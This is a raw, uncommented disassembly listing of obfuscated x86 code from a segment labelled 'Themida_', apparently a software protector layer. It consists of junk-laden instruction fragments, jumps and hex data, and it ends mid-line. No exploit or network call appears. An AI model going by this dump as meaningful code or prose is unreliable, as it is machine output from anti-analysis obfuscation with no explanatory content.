; CODE XREF: Themida_:0056119Dj pop esp jmp loc_563144 ; --------------------------------------------------------------------------- dw 815Dh dd 9BA004F2h, 8BD60974h, 7DE92414h, 5C000044h, 24048F54h dd 4240481h, 0E9000000h, 0FFFFAE3Bh, 8124048Bh, 4C4h, 49BD5500h dd 81165119h, 0EC24D6CDh, 0DBF5811Dh, 11FFD3Dh, 0FF565DEEh dd 0FF042474h, 0A9E92434h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B253: ; CODE XREF: Themida_:0055F540j mov edx, 510E5D6Dh sub ebx, edx jmp loc_55A69E ; --------------------------------------------------------------------------- db 0B5h dd 6EB6527Eh, 0CEFED6F6h, 79E9D6F6h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B26F: ; CODE XREF: Themida_:0055F826j and esi, 81D5109h xor esi, 90E4C26Dh mov edi, esi pop esi jmp loc_559296 ; --------------------------------------------------------------------------- aASrg db 'Áí',8,'ér',0 dw 6600h dd 6624048Fh, 664B5C68h, 0E9243C89h, 0FFFFC440h, 8BEE015Fh dd 8957242Ch, 4C781E7h db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_5535D2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 3269E951h, 0EA290000h, 5AD7895Dh, 8103EFC1h, 0CF7E74E7h dd 64CF8101h, 0F765F94Eh, 46B968D7h, 2C890000h, 9197BD24h dd 0EF299A00h, 5FFB015Dh, 4EB81h, 0FF530000h, 0E9042474h dd 577Eh ; --------------------------------------------------------------------------- loc_55B30C: ; CODE XREF: Themida_:00555037j push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] jmp loc_561924 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFBBA3h ; --------------------------------------------------------------------------- loc_55B320: ; CODE XREF: Themida_:0055D434j pop esp push dword ptr [edi+eax*4] jmp loc_5535F6 ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 1000000h, 0C1835EF1h, 240C8704h, 5E9BE95Ch, 1C87FFFFh dd 0C895C24h, 81595424h, 4C1h, 2C18100h, 68000000h, 6808h dd 0FFCDC0E9h, 215BBEFFh, 0EEC14100h, 5000E902h, 0C890000h dd 0EFB7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B372: ; CODE XREF: Themida_:0055C509j pop edx add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] add eax, 4 xchg eax, [esp] mov esp, [esp] shr eax, 12h xor eax, ecx push 5B7Ch mov [esp], eax push edi push dword ptr [esp+4] jmp loc_562240 ; --------------------------------------------------------------------------- dw 684Eh dd 51Ah, 0BF243C89h, 7EE0FE1Ah, 0E95FFE29h, 52E0h, 4C481h dd 0E8000000h, 83240C8Bh, 0B55104C4h, 0BEB807Ch, 41E9EB00h dd 81000043h, 94B8CF2h, 0A9C58144h, 812E1B1Bh, 9A7BFDEDh dd 81D50173h, 9A7BFDC5h, 0B491E973h, 0BD55FFFFh, 27FF3C35h dd 778B850h, 7F2D7708h, 0F7194C18h, 105925D8h, 0F3356196h dd 2D4F7869h, 29AF776Dh, 3966BE56h, 0F001F162h, 0E924348Bh dd 0FFFFF758h ; --------------------------------------------------------------------------- loc_55B420: ; CODE XREF: Themida_:0055D9E3j add ebp, 1DAE0D68h add ebp, ecx sub ebp, 1DAE0D68h push dword ptr [esp] jmp loc_556BA2 ; --------------------------------------------------------------------------- dw 0FE87h dd 0FE87DFF7h, 0BBBD5552h, 8964D855h, 0D6315DEAh, 758AE9h db 0 ; --------------------------------------------------------------------------- loc_55B44D: ; CODE XREF: Themida_:00550851j pop esp mov [esp], edi mov edi, 1BB001F5h sub edi, 45190153h inc edi sub edi, 0B0AD9CA9h add edx, 19A375FDh add edx, edi jmp loc_5557F0 ; --------------------------------------------------------------------------- dd 8324248Bh, 148904ECh, 8018B624h, 0F0008BF6h, 8B2434FFh dd 0C4832414h, 0C091E904h, 5166FFFFh, 83E95152h, 51FFFFA6h dd 9E7290B9h, 83D1F718h, 0D1F701C1h, 8FBA52h, 0EA876127h dd 0EA87D5F7h, 0ED62EA81h, 0D121643Bh, 0D277E95Ah, 0E8C0FFFFh dd 6E8C002h, 0DAF6D086h, 652CD086h, 2858C300h, 9BEB80C3h dd 7D1368h, 24048900h, 12E9F7B0h, 5A000079h, 5028C581h dd 0C5011B9Bh, 0E904EC83h, 2C91h, 0B9240C89h, 460A6C1Fh dd 0BA493205h, 2DC80172h, 72BA4932h, 45E42D59h, 30FF69DDh dd 53240C8Bh, 0C381E389h, 4, 8704C383h, 3EE9241Ch, 8F000043h dd 895C2404h, 7DE92424h, 81000020h, 253713CBh, 26F8E90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B53E: ; CODE XREF: Themida_:005600B8j mov esp, [esp] jmp loc_55CB36 ; --------------------------------------------------------------------------- loc_55B546: ; CODE XREF: Themida_:005594DCj mov [esp], ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_552014 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 685150h, 59008E63h, 6C86F181h, 14E951EDh, 0FF00005Dh dd 0E9582434h, 46D0h ; --------------------------------------------------------------------------- loc_55B584: ; CODE XREF: Themida_:00550E24j sub edi, 0F914EC48h add esi, edi pop edi mov edi, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] push ebp push 3800h mov [esp], edx push 26A9h mov [esp], eax jmp loc_553F3F ; --------------------------------------------------------------------------- dw 0CA89h dd 0FFD02159h, 0B8E92434h, 89000067h, 41E9242Ch, 0FFFFFFD4h dd 148B2434h, 4C48124h, 0E9000000h, 9A65h, 55242C87h, 242C8B53h dd 4C481h, 535B0000h, 0FFB10EE9h, 0C3815BFFh, 4, 8702C383h dd 515C241Ch, 0CD8094B5h, 0FEE953EFh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B607: ; CODE XREF: Themida_:0055E056j pop ecx push ebp mov ebp, 24400B44h jmp loc_55AA85 ; --------------------------------------------------------------------------- db 31h dd 8C0DE9F0h, 89560000h, 3EBA52E6h, 810B5300h, 3108BFCAh dd 0BBE95742h, 8BFFFF97h, 0E9502424h, 7594h, 437309BAh dd 2444816Dh, 4D172104h, 24542958h, 246C8104h, 4D172104h dd 1217E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B656: ; CODE XREF: Themida_:00552107j mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5513E8 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 0FF24248Bh, 4DA6E930h, 0F731FFFFh, 28EE815Eh, 57316A54h dd 5D0443BFh, 5FFE0103h, 9268FE01h, 0E9000016h, 0FFFFD10Bh dd 6EE8B850h, 0D8F767D2h, 0E0C1D0F7h, 1E972D04h, 542D787Eh dd 0E9B393AAh, 0FFFFC4CEh, 0EE10EA81h, 0EB81B38Ch, 5045723Dh dd 0C381D301h, 5045723Dh, 2434FF5Ah, 4C4835Eh, 0FFF4CAE9h dd 0E18951FFh, 41C7BE56h, 0F68123DEh, 327F7D93h, 0FFF4BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6E9: ; CODE XREF: Themida_:005585B1j push edi jmp loc_55154E ; --------------------------------------------------------------------------- db 88h dd 0EE8059CEh, 0C7B0508Dh, 20E9D804h, 83000004h, 1C8904ECh dd 9A65E924h, 0EC830000h, 24148904h, 0C281E289h, 4, 4C281h dd 14870000h, 0D8295C24h, 4CE4BE56h, 28E9170Ch, 89FFFF61h dd 0E0C15EF0h, 8FBB5303h, 0E9013C7Ch, 0FFFFD14Fh, 4EC835Bh dd 0FFF498E9h, 240489FFh, 0ECE9FBB0h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B753: ; CODE XREF: Themida_:0056451Bj mov ebx, [esp] add esp, 4 mov cl, ah mov eax, [esp] add esp, 4 push 4CF0h jmp loc_55D177 ; --------------------------------------------------------------------------- db 81h dd 524599F5h, 0E9E82921h, 16FAh, 8B24048Fh, 0D5E92424h dd 5600000Eh, 0DC0218BEh, 3F21E923h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B78E: ; CODE XREF: Themida_:0055C40Bj mov ebp, edx jmp loc_564CF0 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFF6DD0h ; --------------------------------------------------------------------------- loc_55B7A0: ; CODE XREF: Themida_:00562DC1j shr ecx, 4 xor ecx, 5E4D2A8Bh xor eax, ecx pop ecx sub esp, 4 mov [esp], edx push ebp push ebx mov ebx, 76E166ECh jmp loc_55F43F ; --------------------------------------------------------------------------- db 0B9h, 0FCh, 0F1h dd 0CD31FC1Ch, 5DE88959h, 48BC729h, 4C48124h, 33000000h dd 3C31243Ch, 243C3324h, 0FFEAB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B7E5: ; CODE XREF: Themida_:00550C21j mov ebp, 4 add ecx, ebp pop ebp push ebx mov ebx, 4 sub ecx, ebx pop ebx jmp loc_562B3D ; --------------------------------------------------------------------------- db 81h dd 4C5h, 4C58300h, 5C242C87h, 3A6968h, 241C8900h, 0B951E389h dd 71BE61AEh, 1BA8E9h db 0 ; --------------------------------------------------------------------------- loc_55B81D: ; CODE XREF: Themida_:005659B8j mov [esp], eax jmp loc_55FDA3 ; --------------------------------------------------------------------------- db 80h, 0C3h, 3 dd 0EB80CB28h, 68665903h, 8966424Ah, 7FE92414h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B83B: ; CODE XREF: Themida_:0055349Aj add ebx, 75E81356h add ebx, edx push esi mov esi, 75E81356h sub ebx, esi jmp loc_55B11B ; --------------------------------------------------------------------------- loc_55B850: ; CODE XREF: Themida_:00557B8Cj push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_557E20 ; --------------------------------------------------------------------------- align 2 dw 58E3h dd 8124048Bh, 4C4h, 68C30000h, 7C80h, 0B6241489h, 80CEFE77h dd 5066EACEh, 0F1E9EFB0h, 66FFFF61h, 660990B8h, 566D8F7h dd 89E97D4Ah db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B897: ; CODE XREF: Themida_:00551011j xor esi, 9392B8E1h sub ebx, esi pop esi add ebx, ebp add ebx, 74EB4359h push esi jmp loc_55F292 ; --------------------------------------------------------------------------- dw 0FF56h dd 0E9042474h, 0FFFF5881h ; --------------------------------------------------------------------------- loc_55B8B8: ; CODE XREF: Themida_:0055506Ej pop esp mov [esp], ecx push 503C5F6Eh pop ecx jmp loc_559929 ; --------------------------------------------------------------------------- loc_55B8C7: ; CODE XREF: Themida_:0056011Cj add edx, 73B56B53h jmp loc_550420 ; --------------------------------------------------------------------------- dw 8B66h dd 0C4832414h, 5D545502h, 4C581h, 0B8500000h, 4, 6702ED81h dd 0C5296139h, 0FFCF00E9h, 2FB151FFh, 0C7E9C9FEh, 1FFFFE1h dd 0C2815FFAh, 413F1A45h, 0EA81EA01h, 413F1A45h, 16BFEA81h dd 2C8B32ACh, 20F0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B91E: ; CODE XREF: Themida_:00550DDAj pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 push 65Fh mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_5646D4 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 5EF18900h db 1, 0CBh, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_551E74 ; --------------------------------------------------------------------------- loc_55B959: ; CODE XREF: Themida_:005579DFj mov edx, [esp] sub esp, 4 mov [esp], edi push esp jmp loc_5655A8 ; --------------------------------------------------------------------------- dd 240C8B66h, 4DCA68h, 240C8900h, 0BD55E189h, 4, 9DA0E9h dd 5905BB00h, 685164B8h, 2999h, 6ABBE9h, 241C8900h, 0EFC086B7h dd 2DF78005h, 28B8EF80h, 9E60E9FEh, 0CE01FFFFh, 0FF2434FFh dd 81592434h, 4C4h, 4C48300h, 348BF021h, 4C48124h, 9000000h dd 68E2D1C2h, 21F4h, 0B8240489h, 0FFFFFFFFh, 0FFD76FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B9D9: ; CODE XREF: Themida_:005658F1j push 893h mov [esp], edi mov edi, 509C3DD8h jmp loc_554BB2 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 5C243C87h, 0B3E95456h, 0FFFFFF93h, 148B2434h dd 4C48324h, 0FFD80CE9h, 0C68159FFh, 183251C1h, 6A44E681h dd 0BF5727F2h, 0D382FE2Bh, 81E9FE29h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA27: ; CODE XREF: Themida_:0055BE8Bj cmp cl, al pushf jmp loc_550420 ; --------------------------------------------------------------------------- a1SZ db '1ĹéŰ',0 align 2 dw 1487h dd 0BD555C24h, 4, 37BDE9h, 50F8B200h, 0E228DBB4h, 3589E9h dd 0BEC68100h, 5023B260h, 8457F6B8h, 9F61E97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA62: ; CODE XREF: Themida_:0055360Ej sub ecx, 4 jmp loc_558E69 ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 81000000h, 2C2h, 24148700h, 6657665Ch, 66481ABFh dd 4247C01h, 81665F66h, 0A102246Ch, 7C016614h, 1DE90224h dd 5EFFFF59h, 27B3E9h, 247C0100h, 243C8B04h, 0E904C483h dd 0FFFF657Eh, 0F4ABD55h, 0EA313145h, 1D8BE95Dh, 0C3280000h dd 0FFF9C9E9h, 46E959FFh, 81FFFF74h, 4C6h, 4EE8300h, 5C243487h dd 89242C89h, 4C581E5h, 81000000h, 4C5h, 242C3300h, 0E9242C31h dd 0FFFFA8F6h, 63D768h, 240C8900h, 0FF7FDAE9h, 0CEB905FFh dd 0C301C8BDh, 240C8B58h, 8704C483h, 248B241Ch, 4A30F24h dd 1E99C24h, 30FFFF49h, 24048BC6h, 6604C483h, 0FEF58851h dd 66EE88CDh, 0BCEE8059h, 0FF7F4FE9h, 4EC81FFh, 0E9000000h dd 608Ch ; --------------------------------------------------------------------------- loc_55BB44: ; CODE XREF: Themida_:00558482j pop dword ptr [esp] mov esp, [esp] add ebx, 4F2A2FE6h add ebx, esi jmp loc_553A38 ; --------------------------------------------------------------------------- a1434SO db '14$34$é$o',0 align 2 aVsl db 'Vél{',0 align 4 dd 4C481h, 89660000h, 66565DEBh, 660A37BEh, 1EE9DEF7h dd 88FFFFD7h, 84EFE9D0h, 0E6D1FFFFh, 19EEE81h, 0F589B68Fh dd 2C81555Eh, 24689F24h, 0C6815E3Eh, 3E24689Fh, 10A9E9h dd 0BA525800h, 0FFFFFFFFh, 815AD329h, 3AEC72C3h, 2F2968E6h dd 0EAE90000h, 0FFFFFF78h, 51E92434h, 87FFFF56h, 895C241Ch dd 0CE92414h, 5800004Dh, 815A5452h, 4C2h, 4EC8300h, 0FF77F8E9h dd 0E95155FFh, 2AF3h, 59CA6848h, 3C890000h, 0B029E924h dd 0FF50FFFFh, 58042474h, 5C24048Fh, 68240489h, 26BEh dd 9ED3E9h db 0 ; --------------------------------------------------------------------------- loc_55BC11: ; CODE XREF: Themida_:0055514Ej pop ecx sub ecx, 5DBB113Ah and ecx, 2C60338Eh add ecx, 306C41E9h mov esi, ecx mov ecx, [esp] add esp, 4 jmp loc_551B89 ; --------------------------------------------------------------------------- loc_55BC31: ; CODE XREF: Themida_:0055183Dj mov ecx, eax pop eax jmp loc_556F8B ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ebx push ecx mov ecx, 6AA41FB8h mov ebx, 7BE858h add ebx, 0BD906F4h jmp loc_555FB0 ; --------------------------------------------------------------------------- db 5 dd 4, 0FF685251h, 5A27BE46h, 0D8BC84B9h, 0D5E4E94Ah, 5557FFFFh dd 86E95D5Fh, 2900008Fh, 0C875EF1h, 0EE95C24h, 9FFFF4Fh dd 0EE815AD6h, 60AC457Eh, 815EF329h, 882450C3h, 0AC3817Eh dd 0E92C2800h, 0FFFFA8E7h, 0C581E589h, 4, 6804C583h, 5AD2h dd 0FF242C89h, 5D042474h, 0E924048Fh, 0FFFF48ADh, 5A50E381h dd 0CB8136FCh, 4704B94h, 0EB81D3F7h, 4DB3C61h, 0FFDF60E9h dd 242C8BFFh, 4C481h, 0C9E90000h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BCEB: ; CODE XREF: Themida_:0055654Fj mov ebx, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- dw 5159h dd 0C23EE0B9h, 5F2FE91Ch, 0C8BFFFFh, 4C48124h, 55000000h dd 242C8152h, 777A4B80h, 80C5815Dh, 89777A4Bh, 7445E9EFh dd 0B850FFFFh, 4, 7DE9C129h, 31000003h, 2C33242Ch, 4D73E924h dd 0EF81FFFFh, 9F6DB5BEh, 3933E9h, 2474FF00h, 4F26E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD5A: ; CODE XREF: Themida_:0055E4DAj dec edx xor edx, 3C6DFF9Bh mov ebp, edx pop edx add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55C5D6 ; --------------------------------------------------------------------------- db 0B4h, 13h, 80h dd 0E328E5F4h, 0FF5E4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BD81: ; CODE XREF: Themida_:00560C38j add esi, edx mov edx, [esp] add esp, 4 sub esi, 4 jmp loc_55816A ; --------------------------------------------------------------------------- dd 773085BAh, 5AD50942h, 3C91F581h, 0BF57427Fh, 6B9D4284h dd 8105E7C1h, 361672C7h, 9FC78108h, 0E9CC85C2h, 7932h dd 719BED81h, 0DDF775A8h, 0F702EDC1h, 0D9C581D5h, 810AAEC5h dd 0E83EBCEAh, 0A1C2814Bh, 81719F78h, 0F24296EAh, 0E9EA015Ch dd 7591h, 42474FFh, 0E92434FFh, 3115h, 0B8240489h, 0 dd offset dword_50AC4C+59Dh dd 2AEE8100h, 0F745F8EEh, 45CE81DEh, 8168CF6Eh, 121328EEh dd 0BBF68162h, 18DCDDCh, 0E9515EF7h, 0FFFF6901h, 54C4BD55h dd 0EDC15B26h, 0DFBE907h, 0E9520000h, 0FFFFCFC5h, 8704E983h dd 545C240Ch, 8124048Fh, 42404h, 2C8B0000h, 4C48124h, 0E9000000h dd 98Fh, 0A2E95854h, 2D000062h, 3B401C47h, 4705F001h, 8B3B401Ch dd 89522434h, 4C281E2h, 83000000h, 148704C2h, 512D5C24h dd 0E900D25Eh, 1E0Dh ; --------------------------------------------------------------------------- loc_55BE88: ; CODE XREF: Themida_:005528BAj mov esp, [esp] jmp loc_55BA27 ; --------------------------------------------------------------------------- dd 5E3968h, 24148900h, 234D6857h, 505F0F82h, 72544BB8h dd 3E0C124h, 0D480ED05h, 58C709F8h, 46DE951h, 0EB890000h dd 81242C8Bh, 4C4h, 6EBC100h, 4EC81h, 0B6E90000h, 8BFFFFADh dd 8957242Ch, 4C781E7h, 81000000h, 4C7h, 0C9FEE900h, 0C181FFFFh dd 4, 7165E9h, 81E78900h, 4C7h, 4C78100h, 0E9000000h, 3D06h dd 0E924248Bh, 0FFFF984Bh, 2C59C828h, 0E9F00050h, 2396h ; --------------------------------------------------------------------------- loc_55BF18: ; CODE XREF: Themida_:0055DBA5j xor ebp, 0A3A8BCC4h mov ecx, ebp jmp loc_555F55 ; --------------------------------------------------------------------------- db 0BDh, 6Bh, 28h dd 0C5811A5Dh, 4E38DF5Eh, 895DEE29h, 0D7015EF2h, 4C7835Ah dd 815B5453h, 4C3h, 1DBD5500h, 4D5FA837h, 65C3E581h, 0DDF73A57h dd 0DB04F581h, 0EB29E5FFh, 241C875Dh, 243C895Ch, 42474FFh dd 82DDE9h, 0E9C20100h, 0FFFFB2B3h, 0A5E932FFh db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BF7B: ; CODE XREF: Themida_:0055E1C3j push ecx jmp loc_56461C ; --------------------------------------------------------------------------- db 58h, 87h, 2Ch dd 24248B24h, 0E9240431h, 0FFFF4E99h, 6C816658h, 22D00224h dd 247C0166h, 44816602h, 22D00224h, 243C8B66h, 60B8E9h dd 0C4835D00h, 0E7895704h, 4C781h, 0C7810000h, 4, 31243C33h dd 3C33243Ch, 24248B24h, 5C241487h, 0FF875EE9h, 2C80BEFFh dd 0F3216666h, 814CE9h, 4C48300h, 3EA4E957h, 815D0000h dd 0C42039EEh, 0E9C60177h, 1DA7h, 0E924048Bh, 0FFFF4455h ; --------------------------------------------------------------------------- loc_55C000: ; CODE XREF: Themida_:00561750j add esp, 4 push ebp mov ebp, 6C410685h neg ebp jmp loc_553205 ; --------------------------------------------------------------------------- db 0BAh dd 4, 3910E981h, 0D1012C15h, 3910C181h, 815A2C15h, 4E9h dd 240C8700h, 2434895Ch, 8705E9h db 0 ; --------------------------------------------------------------------------- loc_55C039: ; CODE XREF: Themida_:0055112Cj mov esp, [esp] push ecx jmp loc_552816 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 24048904h, 5968E089h, 8900000Fh, 0AC682434h dd 0E97A5011h, 1689h ; --------------------------------------------------------------------------- loc_55C060: ; CODE XREF: Themida_:0055B0AEj add edi, ecx jmp loc_564064 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 1CD36659h, 0A9E99C24h, 89FFFF43h, 0D5F75EF5h dd 11F58145h, 21E576CDh, 242C8BEBh, 815E5456h, 4C6h, 4C68100h dd 0E9000000h, 12BFh, 0F381DBF7h, 3D940BB0h, 16E9C381h dd 0E957628Dh, 6D16h ; --------------------------------------------------------------------------- loc_55C0B0: ; CODE XREF: Themida_:00562CEBj shr edx, 3 jmp loc_551DDF ; --------------------------------------------------------------------------- dd 240C8758h, 242C895Ch, 0C581E589h, 4, 4EC81h, 14890000h dd 0C14EE924h, 0FF53FFFFh, 8B042474h, 0C481241Ch, 4, 8724048Fh dd 7991E9D3h, 0E958FFFFh, 0E11h, 8BC2E953h, 0F1800000h dd 0B65253CCh, 2A9AE900h, 0FB010000h, 0FFDAECE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C10D: ; CODE XREF: Themida_:00555935j pop edi pop dword ptr [esp] jmp loc_5550F7 ; --------------------------------------------------------------------------- loc_55C116: ; CODE XREF: Themida_:005646E0j mov [esp], edx sub esp, 4 mov [esp], ebx jmp loc_55DD8A ; --------------------------------------------------------------------------- db 81h dd 8E6EDFC6h, 5EF02915h, 4002E0C1h, 0FF7ADBE9h, 803E05FFh dd 7E68B0BAh, 89000057h, 0EC81240Ch, 4, 50240489h, 16ABA52h dd 0EDB8145Eh, 294F9453h, 24148BD0h, 4C481h, 44810000h dd 468D0424h, 44293A6Fh, 6C810424h, 468D0424h, 8B583A6Fh dd 95E9240Ch, 0BFFFFF6Dh, 1DF870EBh, 5E08950h, 4, 42Dh dd 24048700h, 0E924248Bh, 368Bh, 81241C8Bh, 4C4h, 4EA8100h dd 87000000h, 895C2414h, 0C8E92404h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1BB: ; CODE XREF: Themida_:0055751Aj mov edx, 4 add edi, edx pop edx jmp loc_555930 ; --------------------------------------------------------------------------- dd 8101C383h, 0AE40B5F3h, 0FEC6E916h, 0C281FFFFh, 4, 5E5AE9h db 0 ; --------------------------------------------------------------------------- loc_55C1E1: ; CODE XREF: Themida_:00552E90j mov esi, 301F0712h add ebx, esi pop esi add ebx, 456E0EABh add ebx, 231644C3h sub ebx, eax sub ebx, 231644C3h sub ebx, 456E0EABh jmp loc_554726 ; --------------------------------------------------------------------------- dd 10DCC281h, 0C1E90F2Eh, 89000092h, 84B82404h, 0F774EB24h dd 16A10DD8h, 67356A1Dh, 25450B2Eh, 3C792AC0h, 7B2DD0F7h dd 893D6B15h, 0B8ADE9C6h, 27B8FFFFh, 1122347h, 58042444h dd 3AA8E9h, 4D82800h, 2434FF88h, 0F3E9535Bh, 1000070h dd 2434FFEAh, 0E689565Dh, 7B14BD55h, 0C5815244h, 1D13427Fh dd 1C48F581h, 15E9582Eh, 66FFFF7Fh, 6866E1F7h, 89666DA7h dd 50662414h, 4196E99Ch, 668FFFFh, 0E9000008h, 0FFFF652Fh dd 8106EDC1h, 0FE17DAC5h, 8EBB534Dh, 0C122475Fh, 0EBC108EBh dd 0C1D3F706h, 3EE908EBh, 81FFFFB7h, 0E520D4EDh, 0B7685B0Dh dd 89000017h, 89562434h, 4C681E6h, 83000000h, 348704EEh dd 24248B24h, 68241489h, 8934F6h, 0BC11E95Ah, 0EC81FFFFh dd 4, 50242C89h, 60F9BD55h, 0F74D0954h, 81DDF7D5h, 2E50DAEDh dd 0F7F5877Ah, 81F587D6h, 4010ACC5h, 5DE889E6h, 1A008EBDh dd 8BC53157h, 8D682404h, 8900004Eh, 0CEE9243Ch, 0B9FFFFFBh dd 26E6148h, 0DAF5BD55h, 3FE920E6h, 8FFFFF49h, 4812404h dd 424h, 24048F00h, 0FF5AC4E9h, 9ECD80FFh, 0E91FC580h dd 0FFFFD705h ; --------------------------------------------------------------------------- loc_55C350: ; CODE XREF: Themida_:00552216j pop esi jmp loc_555035 ; --------------------------------------------------------------------------- dw 1487h dd 24248B24h, 0BF243C89h, 0DE03AF9h, 0B7DE9h, 81E7D100h dd 0CBEFA4C7h, 5FFD89D4h, 2C8BEB29h, 4B29E924h, 0DD01FFFFh dd 3A9DC581h, 34FF74E1h, 0C4835B24h, 6F22E904h, 0EC830000h dd 242C8904h, 4BDh, 0B6F5E900h, 248BFFFFh, 24148924h, 7E19E9h dd 0CA685900h, 8900004Fh, 5350240Ch, 0CFFE30B7h, 80A9CF80h dd 0D7F670E7h, 884AEF80h, 0C5885BF8h, 8324048Bh, 0C6804C4h dd 8900001Ch, 54F6240Ch, 68590124h, 1961h, 50241C89h, 0FFBBA7E9h dd 72102DFFh, 0C529BD01h, 0E9EF8958h, 88FBh ; --------------------------------------------------------------------------- loc_55C3FC: ; CODE XREF: Themida_:00558A03j pop esp add edx, 7CCC21D8h push 2D9Bh mov [esp], ebp jmp loc_55B78E ; --------------------------------------------------------------------------- dd 1DE9D188h, 53FFFFE8h, 4BBh, 5BD90100h, 4C181h, 6680000h dd 89000079h, 74FF240Ch, 8F590424h, 0E95C2404h, 0FFFF66F2h dd 6624248Bh, 68240C8Bh, 132Dh, 89240C89h, 36E956E1h, 0BD00006Ch dd 42A7428Ch, 0E95DEB01h, 0FFFFC055h, 7157BF57h, 895335B3h dd 8BDE89FBh, 0C483241Ch, 0CE815F04h, 4F917BD5h, 0BE565557h dd 7FB37BD3h, 0FF4520E9h, 2434FFFFh, 0FFE1C0E9h, 80B0B3FFh dd 0C38001EBh, 0FB252FFh, 0CAFEDAF6h, 28AAC280h, 0DE885AD3h dd 55E6805Bh, 9E9CEFEh, 83FFFF55h, 0E95704C7h, 0FFFFB31Fh dd 0D0E95556h, 8FFFFFB8h, 535C2404h, 8904EC83h, 0BD552424h dd 4, 4246C01h, 1AA5E95Dh, 0C1810000h, 0F3F5301h, 8864E9h dd 59CA3100h, 4392EA81h, 0BCE95304h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C4F3: ; CODE XREF: Themida_:0055ED7Ej or edx, 4F143DF9h dec edx xor edx, 17E9302Dh inc edx xor edx, 0CCD68966h xor esi, edx jmp loc_55B372 ; --------------------------------------------------------------------------- dw 0F181h dd 5688331Ah, 5CE9C801h, 0FE000053h, 0FED4F6CCh, 0C2C480CCh dd 30CDC480h, 0F6E958E1h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C52F: ; CODE XREF: Themida_:0055EB9Bj push ecx mov ecx, esp jmp loc_560ED9 ; --------------------------------------------------------------------------- db 68h dd 2DE130A1h, 83241C8Bh, 0F38104C4h, 11B94F4Ah, 7FE7EB81h dd 0D9893C58h, 8BCF015Bh, 2EE9240Ch, 54FFFF86h, 4BB535Fh dd 1000000h, 0BE9AE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C56A: ; CODE XREF: Themida_:0055235Ej push 1879h mov [esp], ebp push ecx mov ecx, 7C0C04FBh mov ebp, ecx jmp loc_555153 ; --------------------------------------------------------------------------- db 0FFh dd 815A2434h, 4C4h, 0AEEB8100h, 66408C6Dh, 5724148Bh, 0FF6C50E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C599: ; CODE XREF: Themida_:0055C9F0j xor ebp, [esp] jmp loc_561409 ; --------------------------------------------------------------------------- db 68h, 89h, 77h dd 348B535Eh, 4C48124h, 55000000h, 0FFBB06E9h, 81F201FFh dd 0AE38A1C2h, 66B4E924h, 59E9FFFFh, 5CFFFF3Eh, 0EFE9C009h dd 5C00002Fh, 0C7F3E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C5D6: ; CODE XREF: Themida_:0055BD70j pop esp push eax mov eax, esp jmp loc_550846 ; --------------------------------------------------------------------------- db 68h dd 3556h, 88241C89h, 533CE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C5EE: ; CODE XREF: Themida_:005605AAj sub eax, 7BC02B91h add eax, edx jmp loc_552164 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 2853BD55h, 0C5816D09h, 92F6D7B1h, 575DEF01h, 42474FFh dd 24048F5Fh, 5124248Bh, 0EB88C588h, 24048B59h, 0FF8228E9h dd 6D81BFFFh, 0F781138Eh, 